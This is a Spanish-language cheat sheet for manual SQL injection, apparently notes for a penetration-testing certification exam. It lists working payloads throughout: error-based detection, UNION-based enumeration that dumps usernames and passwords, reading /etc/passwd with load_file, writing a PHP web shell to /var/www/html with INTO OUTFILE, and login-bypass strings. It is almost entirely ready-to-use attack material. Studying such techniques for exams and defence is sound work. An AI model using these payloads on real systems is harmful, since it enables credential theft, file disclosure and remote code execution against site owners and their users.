Skip to content

manual SQL Injection

[!warning] Exam Rule Alert sqlmap automático está PROHIBIDO en la mayoría de máquinas (solo permitido en 1 máquina). Debes saber explotarlo a mano.

1. Detection (Error Based)

Añade ' o " al final de un parámetro URL (id=1'). Si ves:

"You have an error in your SQL syntax..." VULNERABLE.

2. Union Based (Extraction)

Extraer datos uniendo resultados.

Paso 1: Encontrar número de columnas

Usa ORDER BY hasta que de error.

id=1 ORDER BY 1-- -   (Funciona)
id=1 ORDER BY 2-- -   (Funciona)
id=1 ORDER BY 3-- -   (Error!) -> Hay 2 columnas.

Paso 2: Identificar columna visible

id=-1 UNION SELECT 1,2-- -
(Ponemos ID negativo para anular el query original y ver "1" o "2" en pantalla).

Paso 3: Enumerar Base de Datos

# Versión y Usuario
id=-1 UNION SELECT @@version, user()-- -

# Listar Tablas
id=-1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -

# Listar Columnas (de tabla 'users')
id=-1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- -

# Dump Data
id=-1 UNION SELECT 1, group_concat(username,':',password) FROM users-- -

3. Reading/Writing Files

Si el usuario de DB es root (dba privilege).

# Leer archivos (LFI)
id=-1 UNION SELECT 1, load_file('/etc/passwd')-- -

# Escribir Shell (RCE)
id=-1 UNION SELECT 1, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

4. Login Bypass

Pruébalo en paneles de login. * admin' -- - * admin' # * ' OR 1=1-- -